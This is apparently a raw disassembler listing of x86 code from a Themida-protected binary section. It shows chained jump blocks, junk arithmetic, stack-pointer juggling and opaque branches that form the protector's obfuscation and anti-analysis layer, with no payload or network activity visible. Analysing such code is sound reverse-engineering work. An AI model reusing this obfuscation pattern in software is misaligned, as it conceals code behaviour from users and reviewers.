		push	ecx
		push	ebx
		mov	ebx, 5B463DB4h
		inc	ebx
		jmp	loc_5A19B1
; ---------------------------------------------------------------------------


loc_5ABD13:				; CODE XREF: Themida_:005ABDB9j
		mov	[esp], ebx
		push	edx
		mov	edx, 4
		jmp	loc_59AEEA
; ---------------------------------------------------------------------------


loc_5ABD21:				; CODE XREF: Themida_:005A69D7j
		sub	edx, ebp
		jmp	loc_5AED7D
; ---------------------------------------------------------------------------


loc_5ABD28:				; CODE XREF: Themida_:005AE1A6j
		mov	dx, [esp]
		push	8DEh
		mov	[esp], edx
		jmp	loc_5A801F
; ---------------------------------------------------------------------------


loc_5ABD39:				; CODE XREF: Themida_:005A836Aj
		push	edx
		mov	dl, 65h
		dec	dl
		and	dl, 0BFh
		add	dl, 57h
		jmp	loc_5A7B41
; ---------------------------------------------------------------------------


loc_5ABD49:				; CODE XREF: Themida_:005A2590j
		mov	[esp], edx
		mov	edx, 63F47A6Ah
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 26180E49h
		add	esi, edi
		sub	esi, 26180E49h
		pop	edi
		jmp	loc_59F240
; ---------------------------------------------------------------------------


loc_5ABD6D:				; CODE XREF: Themida_:0059D833j
		sub	esp, 4
		jmp	loc_59CB24
; ---------------------------------------------------------------------------


loc_5ABD78:				; CODE XREF: Themida_:005A8764j
		mov	ecx, [esp]
		jmp	loc_59DEF4
; ---------------------------------------------------------------------------


loc_5ABD80:				; CODE XREF: Themida_:005ABA7Bj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A392D
; ---------------------------------------------------------------------------


loc_5ABD94:				; CODE XREF: Themida_:005A43D6j
		push	5B1Ah
		jmp	loc_59D6ED
; ---------------------------------------------------------------------------


loc_5ABD9E:				; CODE XREF: Themida_:0059F694j
		pop	edx
		shr	edx, 8
		jmp	loc_5A7BE8
; ---------------------------------------------------------------------------


loc_5ABDA7:				; CODE XREF: Themida_:005AB1C0j
		add	edx, 38847B42h
		add	edx, 0B2272C8Ch
		add	esi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_5ABD13
; ---------------------------------------------------------------------------


loc_5ABDBE:				; CODE XREF: Themida_:005AA468j
		mov	eax, 6980359Ah
		dec	eax
		jmp	loc_5A393D
; ---------------------------------------------------------------------------


loc_5ABDC9:				; CODE XREF: Themida_:0059EA1Dj
					; Themida_:005AEBE5j
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		jmp	loc_599240
; ---------------------------------------------------------------------------


loc_5ABDD4:				; CODE XREF: Themida_:0059C976j
		mov	cl, 5Fh
		push	edx
		jmp	loc_59FCE3
; ---------------------------------------------------------------------------


loc_5ABDDC:				; CODE XREF: Themida_:005A8D72j
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_599522
; ---------------------------------------------------------------------------


loc_5ABDED:				; CODE XREF: Themida_:0059DF50j
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59C11D
; ---------------------------------------------------------------------------


loc_5ABDFA:				; CODE XREF: Themida_:0059D2B8j
		sub	ebx, 6BAAC20h
		mov	edx, ebx
		pop	ebx
		xor	edx, 47AE7FEAh
		jb	loc_5A8EBD
		sub	edx, 47EE0FBFh
		sub	edx, 5D2B7F12h
		jl	loc_5A4EC3
		or	edx, 7A82E57h
		mov	ebx, edi
		mov	ch, 73h


loc_5ABE2B:				; CODE XREF: Themida_:005A993Ej
		jmp	loc_5A9521
; ---------------------------------------------------------------------------


loc_5ABE30:				; CODE XREF: Themida_:0059D236j
		mov	[esp], ebx
		jmp	loc_59F8B8
; ---------------------------------------------------------------------------


loc_5ABE38:				; CODE XREF: Themida_:0059BA8Dj
		mov	esi, 4381286Bh
		jmp	loc_59C5F4
; ---------------------------------------------------------------------------


loc_5ABE42:				; CODE XREF: Themida_:005ADE37j
		and	edi, 7537526Ch
		dec	edi
		js	loc_59FE5A
		push	esi
		push	edx
		mov	edx, 3E3F3D69h
		push	0DE4390Ah
		jmp	loc_5A8E7A
; ---------------------------------------------------------------------------


loc_5ABE60:				; CODE XREF: Themida_:005AEFCDj
		push	27D2h
		mov	[esp], ecx
		push	7045h
		jmp	loc_5AD314
; ---------------------------------------------------------------------------


loc_5ABE72:				; CODE XREF: Themida_:005AF170j
		push	ecx
		mov	ecx, esp
		jmp	loc_59CFC7
; ---------------------------------------------------------------------------


loc_5ABE7A:				; CODE XREF: Themida_:005AB53Dj
		mov	eax, 6BA225FAh
		xor	eax, 7B765575h
		xor	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		push	6328h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5A8243
; ---------------------------------------------------------------------------


loc_5ABEA5:				; CODE XREF: Themida_:005A0C18j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 6A6338DAh
		or	eax, 4F753E07h
		add	eax, 3E710C4Eh
		jl	loc_59BFFB
		neg	eax
		jns	loc_59BA50
		shl	eax, 7
		jp	loc_59920E
		mov	ecx, edi
		mov	ebx, esi


loc_5ABEDC:				; CODE XREF: Themida_:0059B788j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5ABEEA:				; CODE XREF: Themida_:0059B6A4j
		xor	eax, 0D468F5ADh
		jmp	loc_59FB57
; ---------------------------------------------------------------------------


loc_5ABEF4:				; CODE XREF: Themida_:005A5C37j
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_5AC3AB
; ---------------------------------------------------------------------------


loc_5ABEFD:				; CODE XREF: Themida_:005AC5E7j
		not	dword ptr [esp]
		pop	edi
		add	edi, 0EFEF9CD4h
		add	esi, edi
		pop	edi
		add	esi, 51173C29h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A97F6
; ---------------------------------------------------------------------------


loc_5ABF19:				; CODE XREF: Themida_:005A0F5Bj
		xor	edi, 3E395C00h
		xor	edi, 1AC103C5h
		add	eax, edi
		pop	edi
		pop	ecx
		xor	ebx, eax
		jmp	loc_59FAA1
; ---------------------------------------------------------------------------


loc_5ABF30:				; CODE XREF: Themida_:00599830j
					; Themida_:005AE158j
		mov	ah, 3Dh
		or	ah, 22h
		sub	ah, 35h
		shr	ah, 7
		inc	ah
		neg	ah
		add	ah, 2
		sub	bl, ah
		pop	eax
		not	bl
		xor	bl, 4Fh
		sub	al, bl
		pop	ebx
		add	al, 0BBh
		push	bx
		jmp	loc_5A6750
; ---------------------------------------------------------------------------


loc_5ABF56:				; CODE XREF: Themida_:0059FCDEj
		pop	small word ptr [esp]
		push	small 2C21h
		jmp	loc_59C86D
; ---------------------------------------------------------------------------


loc_5ABF63:				; CODE XREF: Themida_:005A4059j
		neg	edx
		jbe	loc_5AF696
		jmp	loc_5A2550
; ---------------------------------------------------------------------------
		mov	ecx, 4
		mov	edx, eax


loc_5ABF77:				; CODE XREF: Themida_:0059EE44j
		push	ebx
		mov	bh, 1
		push	eax
		push	ecx
		mov	cl, 1Bh
		not	cl
		inc	cl
		jl	loc_59AA7C
		jmp	loc_5AC2C2
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	loc_5A0844
; ---------------------------------------------------------------------------
		inc	ebx


loc_5ABF94:				; CODE XREF: Themida_:0059EBF9j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A4357
; ---------------------------------------------------------------------------


loc_5ABF9D:				; CODE XREF: Themida_:0059C3FEj
		sub	edx, 174F6DB7h
		sub	edx, ebx
		add	edx, 174F6DB7h
		sub	edx, 355C4354h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A6C5E
; ---------------------------------------------------------------------------


loc_5ABFBF:				; CODE XREF: Themida_:0059B1E6j
		mov	[esp], ebp
		push	6D0F1873h
		jmp	loc_5AA0BE
; ---------------------------------------------------------------------------


loc_5ABFCC:				; CODE XREF: Themida_:005ACF1Cj
		not	eax
		inc	eax
		shr	eax, 3
		dec	eax
		not	eax
		shr	eax, 1
		push	3630h
		mov	[esp], edi
		push	eax
		mov	eax, 0FD116D3h
		shr	eax, 5
		shr	eax, 6
		jmp	loc_59B69D
; ---------------------------------------------------------------------------


loc_5ABFF0:				; CODE XREF: Themida_:005A72E3j
		pop	edx
		shl	esi, 3
		sub	esi, 0FAEBE748h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, edi
		pop	edi
		pop	ebx
		jmp	loc_59E409
; ---------------------------------------------------------------------------


loc_5AC00E:				; DATA XREF: Themida_:00598704o
		mov	cx, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5ACD41
; ---------------------------------------------------------------------------


loc_5AC01A:				; CODE XREF: Themida_:005AAEACj
		mov	[esp], si
		push	small word ptr [esp+2]
		mov	si, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5A6790
; ---------------------------------------------------------------------------


loc_5AC035:				; CODE XREF: Themida_:0059F0B2j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_5A6A7C
		push	ebx
		push	176Dh
		jmp	loc_59CF14
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_59B07F
; ---------------------------------------------------------------------------


loc_5AC063:				; CODE XREF: Themida_:005A908Fj
		xchg	bl, al
		jmp	loc_59A6EB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2ABAh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_5A273E
; ---------------------------------------------------------------------------


loc_5AC07F:				; CODE XREF: Themida_:005AD744j
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	0B5h
		mov	[esp], edi
		push	5C8Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5A8AD5
; ---------------------------------------------------------------------------


loc_5AC0B4:				; DATA XREF: Themida_:00598868o
		lodsb
		xor	al, bl
		push	ecx
		push	esp
		pop	ecx
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5A895D
; ---------------------------------------------------------------------------


loc_5AC0DC:				; CODE XREF: Themida_:005ACC42j
		pop	edi
		jmp	loc_5AD3B5
; ---------------------------------------------------------------------------


loc_5AC0E2:				; CODE XREF: Themida_:00598F21j
		mov	[esp], eax
		push	4BFh
		mov	[esp], ecx
		mov	cl, bl
		mov	ah, cl
		pop	ecx
		push	eax
		mov	ah, ch
		mov	bl, ah
		pop	eax
		mov	ch, ah
		pop	eax
		xor	ch, 3Dh
		push	ecx
		jmp	loc_5A7FE5
; ---------------------------------------------------------------------------


loc_5AC104:				; CODE XREF: Themida_:005A55F9j
		mov	edx, [esp]
		jmp	loc_5A2573
; ---------------------------------------------------------------------------


loc_5AC10C:				; CODE XREF: Themida_:00598E82j
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	edx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4


loc_5AC124:				; CODE XREF: Themida_:005A52B3j
		push	ebp
		mov	ebp, esp
		jmp	loc_5A66D9
; ---------------------------------------------------------------------------


loc_5AC12C:				; CODE XREF: Themida_:0059F48Cj
		mov	ah, 76h
		push	1B9Ch
		mov	[esp], ecx
		jmp	loc_5AAC87
; ---------------------------------------------------------------------------


loc_5AC13B:				; CODE XREF: Themida_:005AC710j
		mov	esi, 3E87882h
		jmp	loc_599484
; ---------------------------------------------------------------------------


loc_5AC145:				; CODE XREF: Themida_:005A34ADj
		mov	[esp], edx
		jmp	loc_5A9C9D
; ---------------------------------------------------------------------------


loc_5AC14D:				; CODE XREF: Themida_:005AE709j
		push	edx
		mov	edx, 0B9234C30h
		add	ebx, 495E1232h
		sub	ebx, edx
		sub	ebx, 495E1232h
		pop	edx
		jmp	loc_5A5F19
; ---------------------------------------------------------------------------


loc_5AC167:				; CODE XREF: Themida_:0059E552j
		or	edx, eax
		shl	edx, 1
		push	3247h
		jmp	loc_599A8A
; ---------------------------------------------------------------------------


loc_5AC175:				; CODE XREF: Themida_:005A0B38j
		add	ebp, 36E553C3h
		sub	ebp, 31B73E8Eh
		add	ebp, ecx
		add	ebp, 31B73E8Eh
		jmp	loc_599792
; ---------------------------------------------------------------------------


loc_5AC18E:				; CODE XREF: Themida_:0059EEA5j
		push	esi
		mov	si, 1AB2h
		shr	si, 3
		sub	si, 0FFFFh
		push	4DB1h
		mov	[esp], edi
		mov	di, 6465h
		jmp	loc_5A4720
; ---------------------------------------------------------------------------


loc_5AC1AD:				; CODE XREF: Themida_:0059F775j
		sub	edi, 0FE3563Fh
		sub	edi, 748637EBh
		add	edi, eax
		push	eax
		mov	eax, 1D8C6299h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 502A37FDh
		jmp	loc_5A8C4D
; ---------------------------------------------------------------------------


loc_5AC1D4:				; CODE XREF: Themida_:0059FEEEj
		shr	ebx, 5
		jns	loc_5A72FE
		shl	ebx, 3
		add	ebx, 0CE6A6F7Bh
		jmp	loc_59EB3B
; ---------------------------------------------------------------------------


loc_5AC1EB:				; CODE XREF: Themida_:005A1AC8j
		inc	ebx
		jp	loc_5A8459
		xor	ebx, 73DA5DECh
		jl	loc_5A0E5B
		push	edi
		pop	esi


loc_5AC200:				; CODE XREF: Themida_:005A0E33j
					; Themida_:loc_5A411Aj
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59BDF3
; ---------------------------------------------------------------------------


loc_5AC20C:				; CODE XREF: Themida_:005AA311j
		xor	ebx, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 194h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5A88FB
; ---------------------------------------------------------------------------


loc_5AC229:				; CODE XREF: Themida_:005AE1AEj
		add	esp, 4
		jmp	loc_5A2D16
; ---------------------------------------------------------------------------


loc_5AC231:				; CODE XREF: Themida_:005A07FBj
		mov	[esp], ecx
		jmp	loc_5A7BA4
; ---------------------------------------------------------------------------


loc_5AC239:				; CODE XREF: Themida_:0059BBECj
		push	edx
		push	ebx
		mov	ebx, 10226405h
		add	ebx, 56B61F00h
		jmp	loc_5AC4C9
; ---------------------------------------------------------------------------


loc_5AC24B:				; CODE XREF: Themida_:005A0DE9j
		push	ebp
		mov	ebp, 5FCC1AD6h
		not	ebp
		shr	ebp, 3
		jns	loc_5AE115
		add	ebp, 600660AAh
		jmp	loc_599131
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	37A9h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_59DBFD
; ---------------------------------------------------------------------------


loc_5AC27C:				; CODE XREF: Themida_:005A703Ej
		mov	ebp, 38E64255h
		add	eax, ebp
		jmp	loc_5989E6
; ---------------------------------------------------------------------------


loc_5AC288:				; CODE XREF: Themida_:0059AA9Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5AB4F0
; ---------------------------------------------------------------------------


loc_5AC2A3:				; CODE XREF: Themida_:0059FA89j
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, edi
		jmp	loc_5A12EA
; ---------------------------------------------------------------------------


loc_5AC2B5:				; CODE XREF: Themida_:0059F2C8j
		push	esi
		mov	esi, 0D6CCF76h
		add	ebx, esi
		jmp	loc_5AFBA2
; ---------------------------------------------------------------------------


loc_5AC2C2:				; CODE XREF: Themida_:00599B05j
					; Themida_:005ABF88j
		and	ecx, 17FD4A97h
		dec	ecx
		jnp	loc_59AFFD
		jmp	loc_5A3830
; ---------------------------------------------------------------------------
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		mov	cl, dl


loc_5AC2DA:				; CODE XREF: Themida_:005AC645j
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A6BC1
; ---------------------------------------------------------------------------


loc_5AC306:				; CODE XREF: Themida_:0059E703j
		pop	ebp
		jmp	loc_59B655
; ---------------------------------------------------------------------------


loc_5AC30C:				; CODE XREF: Themida_:0059FA03j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_59BD74
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	7950h
		mov	[esp], eax
		jmp	loc_5A3637
; ---------------------------------------------------------------------------


loc_5AC33B:				; CODE XREF: Themida_:005A68C9j
		mov	ebx, 0
		jmp	loc_5AD592
; ---------------------------------------------------------------------------


loc_5AC345:				; CODE XREF: Themida_:0059B512j
		pop	ebp
		add	ebp, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59FF22
; ---------------------------------------------------------------------------


loc_5AC353:				; CODE XREF: Themida_:loc_5A6100j
					; Themida_:005AE57Dj
		push	ebx
		sub	dword ptr [esp], 35836ECFh
		jmp	loc_5AA732
; ---------------------------------------------------------------------------


loc_5AC360:				; CODE XREF: Themida_:005A7C1Bj
		push	eax
		mov	eax, 1
		jmp	loc_5A3BD7
; ---------------------------------------------------------------------------


loc_5AC36B:				; CODE XREF: Themida_:005A8AECj
		push	4BF4h
		mov	[esp], ecx
		jmp	loc_5AE643
; ---------------------------------------------------------------------------


loc_5AC378:				; CODE XREF: Themida_:0059CD75j
		jmp	loc_5AAB0C
; ---------------------------------------------------------------------------


loc_5AC37D:				; CODE XREF: Themida_:005A4941j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A9D66
; ---------------------------------------------------------------------------


loc_5AC38E:				; CODE XREF: Themida_:0059C088j
					; Themida_:005ABC84j
		pop	esp
		push	ecx
		push	4
		jmp	loc_5A3E56
; ---------------------------------------------------------------------------


loc_5AC39A:				; CODE XREF: Themida_:005A621Fj
		xor	ecx, 0ECF79CDh
		push	esi
		mov	esi, 1A752F21h
		jmp	loc_5A8164
; ---------------------------------------------------------------------------


loc_5AC3AB:				; CODE XREF: Themida_:005ABEF8j
		add	esp, 4
		push	ebx
		jmp	loc_5A53F4
; ---------------------------------------------------------------------------


loc_5AC3B4:				; CODE XREF: Themida_:005A5CC3j
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A7679
; ---------------------------------------------------------------------------


loc_5AC3C9:				; CODE XREF: Themida_:005A6D21j
					; Themida_:005AB342j
		pop	dword ptr [esp]
		jmp	loc_5A5646
; ---------------------------------------------------------------------------


loc_5AC3D1:				; CODE XREF: Themida_:0059FB5Aj
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esi, 37C4FD1h
		add	esi, eax
		push	ebp
		mov	ebp, 1DF47B0Bh
		add	ebp, 0BCC1B20h
		add	ebp, 0D9BBB9A6h
		jmp	loc_5A978B
; ---------------------------------------------------------------------------


loc_5AC3FC:				; CODE XREF: Themida_:005A3860j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	4031h
		jmp	loc_59C2D2
; ---------------------------------------------------------------------------


loc_5AC417:				; CODE XREF: Themida_:0059FB23j
		push	ebx
		mov	ebx, 570E4A84h
		push	ecx
		mov	ecx, 3D0A4868h
		add	ebx, 56A809AEh
		add	ebx, ecx
		sub	ebx, 56A809AEh
		mov	ecx, [esp]
		jmp	loc_59E527
; ---------------------------------------------------------------------------


loc_5AC439:				; CODE XREF: Themida_:005AE5EFj
		xor	eax, 3ED86D23h
		add	esi, eax
		pop	eax
		neg	esi
		push	ebp
		mov	ebp, 53267D82h
		sub	esi, ebp
		pop	ebp
		sub	edi, esi
		pop	esi
		add	edi, ebx
		add	edi, 5C300C75h
		sub	edi, 2E7F2384h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_59E0D0
; ---------------------------------------------------------------------------


loc_5AC46E:				; CODE XREF: Themida_:005A4B1Ej
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 33F51E6Fh
		jmp	loc_5AF36B
; ---------------------------------------------------------------------------


loc_5AC47F:				; CODE XREF: Themida_:00599F20j
		or	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AC489:				; CODE XREF: Themida_:005A70A8j
		pop	ecx
		shr	dh, 3
		jmp	loc_5A082F
; ---------------------------------------------------------------------------


loc_5AC492:				; CODE XREF: Themida_:005A2B82j
		mov	edx, esp
		jmp	loc_5AF41D
; ---------------------------------------------------------------------------


loc_5AC499:				; CODE XREF: Themida_:005A5A93j
		push	esp
		pop	edi
		jmp	loc_599682
; ---------------------------------------------------------------------------


loc_5AC4A0:				; CODE XREF: Themida_:005A9B04j
		inc	eax
		jp	loc_5AEEB1
		shl	eax, 3
		jmp	loc_5A58E7
; ---------------------------------------------------------------------------
		mov	[esp], edx
		push	edx


loc_5AC4B3:				; CODE XREF: Themida_:005A1AEDj
		pop	ecx
		jmp	loc_5AED27
; ---------------------------------------------------------------------------


loc_5AC4B9:				; CODE XREF: Themida_:005AF128j
		push	ecx
		mov	ecx, 3CA93111h
		sub	ebp, ecx
		pop	ecx
		not	ebp
		jmp	loc_59B31B
; ---------------------------------------------------------------------------


loc_5AC4C9:				; CODE XREF: Themida_:005AC246j
		neg	ebx
		jo	loc_5A46CC
		xor	ebx, 99277CFFh
		mov	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, 4EE6203Dh
		mov	eax, 0B119DFC7h
		jmp	loc_59A195
; ---------------------------------------------------------------------------


loc_5AC500:				; CODE XREF: Themida_:005AC76Cj
		add	esi, 5161211Ch
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59CBD0
; ---------------------------------------------------------------------------


loc_5AC513:				; CODE XREF: Themida_:005A74E5j
		mov	ebx, 10883675h
		not	ebx
		sub	ebx, 1
		shl	ebx, 1
		neg	ebx
		not	ebx
		push	edx
		jmp	loc_5A9EDC
; ---------------------------------------------------------------------------


loc_5AC529:				; CODE XREF: Themida_:loc_5A0409j
		push	edx
		jmp	loc_59BAAB
; ---------------------------------------------------------------------------


loc_5AC52F:				; CODE XREF: Themida_:0059BE54j
					; Themida_:005A3522j
		sub	edx, 3CB32024h
		pop	ebx
		sub	esi, edx
		pop	edx
		add	esi, 0FDADF70Ah
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 68197670h
		add	eax, ebx
		sub	eax, 68197670h
		pop	ebx
		push	eax
		jmp	loc_5A2863
; ---------------------------------------------------------------------------


loc_5AC55A:				; CODE XREF: Themida_:005A5980j
		sub	ebp, 1
		sub	ebp, 32298F3Bh
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59A324
; ---------------------------------------------------------------------------


loc_5AC571:				; CODE XREF: Themida_:005ADA6Fj
		push	eax
		mov	eax, 322D4EF9h
		jmp	loc_5A51E2
; ---------------------------------------------------------------------------


loc_5AC57C:				; CODE XREF: Themida_:005AEE8Fj
		add	edx, 4C41089Dh
		pop	ebp
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], si
		xor	si, [esp]
		xor	[esp], si
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AC5A3:				; CODE XREF: Themida_:0059DB77j
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0Fh
		push	ebx
		mov	bl, dh
		push	eax
		jmp	loc_5AD7E8
; ---------------------------------------------------------------------------


loc_5AC5C1:				; CODE XREF: Themida_:0059D432j
		sub	dword ptr [esp], 66851F20h
		pop	edx
		add	edx, 66851F20h
		pop	ebx
		sub	esi, 51173C29h
		sub	esi, 1DC80638h
		sub	esi, edx
		push	edi
		mov	edi, 2DD86965h
		neg	edi
		push	edi
		jmp	loc_5ABEFD
; ---------------------------------------------------------------------------


loc_5AC5EC:				; CODE XREF: Themida_:005A3267j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebx, ecx
		add	ebx, 26A155A7h
		push	ecx
		mov	ecx, 0
		push	ebp
		mov	ebp, 463F23E3h
		add	ecx, ebp
		pop	ebp
		add	ecx, ebx
		sub	ecx, 463F23E3h
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		mov	eax, [ebx]
		pop	ebx
		jmp	loc_5A07EE
; ---------------------------------------------------------------------------


loc_5AC622:				; CODE XREF: Themida_:0059A0C9j
					; Themida_:005AC98Aj
		pop	edx
		xor	ebx, 0B463EC6Eh
		jmp	loc_5A198F
; ---------------------------------------------------------------------------


loc_5AC62E:				; CODE XREF: Themida_:005AD522j
		push	edx
		mov	edx, 3C3F46A4h
		push	eax
		mov	eax, 56FFFF7h
		sub	edx, eax
		jmp	loc_59F36E
; ---------------------------------------------------------------------------


loc_5AC641:				; CODE XREF: Themida_:005AF8DDj
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5AC2DA
; ---------------------------------------------------------------------------


loc_5AC64A:				; CODE XREF: Themida_:005A8483j
					; Themida_:005A9BAAj
		neg	ecx
		or	ecx, 40D61BFEh
		xor	ecx, 0C0D69BFBh
		jmp	loc_5AA4F3
; ---------------------------------------------------------------------------


loc_5AC65D:				; CODE XREF: Themida_:0059D454j
		pop	eax
		push	esi
		mov	esi, 78BE783Eh
		neg	esi
		xor	esi, 2A980B78h
		not	esi
		or	esi, 55DB3DD3h
		add	esi, 9D4074CEh
		xor	ebx, esi
		pop	esi
		mov	edi, ebx
		pop	ebx
		jmp	loc_59D3AA
; ---------------------------------------------------------------------------
byte_5AC685	db 31h,	3Ch, 24h	; DATA XREF: Themida_:00598828o
		dd 31243C33h, 0EC83243Ch, 240C8904h, 266368h, 0DB78E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC69E:				; CODE XREF: Themida_:005A4492j
		pop	ebx
		jmp	loc_59D62C
; ---------------------------------------------------------------------------


loc_5AC6A4:				; CODE XREF: Themida_:005A20E3j
		sub	eax, 0B6566CC3h
		add	ebp, eax
		jmp	loc_5A0DEE
; ---------------------------------------------------------------------------


loc_5AC6B0:				; CODE XREF: Themida_:005A1D89j
		mov	ebp, esp
		push	ebx
		mov	ebx, 2BCD1DF6h
		sub	ebx, 61075AFBh
		add	ebx, 353A3D09h
		add	ebp, ebx
		pop	ebx
		push	59C7h
		mov	[esp], ebx
		mov	ebx, 1825047Ch
		or	ebx, 3F300E40h
		jo	loc_5A76D1
		sub	ebx, 39B30B1Fh
		xor	ebx, 167F5288h
		jnp	loc_5A052A
		dec	ebx
		xor	ebx, 13FD51D0h
		mov	ah, 0D8h


loc_5AC6FC:				; CODE XREF: Themida_:0059A579j
		push	dword ptr [esp]
		pop	edi
		push	3740h
		jmp	loc_59D33B
; ---------------------------------------------------------------------------


loc_5AC70A:				; CODE XREF: Themida_:005A8612j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AC13B
; ---------------------------------------------------------------------------


loc_5AC715:				; CODE XREF: Themida_:0059CD19j
		mov	[esp], ebp
		push	esp
		jmp	loc_59FF57
; ---------------------------------------------------------------------------


loc_5AC71E:				; CODE XREF: Themida_:0059E765j
		push	49C8h
		jmp	loc_59BD5B
; ---------------------------------------------------------------------------


loc_5AC728:				; CODE XREF: Themida_:005A8535j
		sub	edi, edx
		push	ebp
		mov	ebp, 67CE228Dh
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59A571
; ---------------------------------------------------------------------------


loc_5AC740:				; CODE XREF: Themida_:005AD1A7j
		mov	esi, ebx
		pop	ebx
		push	380Ch
		mov	[esp], edi
		mov	edi, 52832B0h
		shr	edi, 3
		jmp	loc_5A99DC
; ---------------------------------------------------------------------------


loc_5AC758:				; CODE XREF: Themida_:005AD235j
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 9D75AC0h
		dec	esi
		js	loc_5AC500
		add	esi, 5161211Ch
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 1FEA3B7Bh
		sub	edi, 65AF539Fh
		jmp	loc_59DCEB
; ---------------------------------------------------------------------------


loc_5AC791:				; CODE XREF: Themida_:005A66C9j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A74F7
; ---------------------------------------------------------------------------


loc_5AC79C:				; CODE XREF: Themida_:0059D4DEj
		push	ebp
		jmp	loc_5AFDC3
; ---------------------------------------------------------------------------


loc_5AC7A2:				; CODE XREF: Themida_:005A2AADj
		add	[esp+4], ecx
		add	dword ptr [esp+4], 638782Dh
		mov	ecx, [esp]
		jmp	loc_5A7DA2
; ---------------------------------------------------------------------------


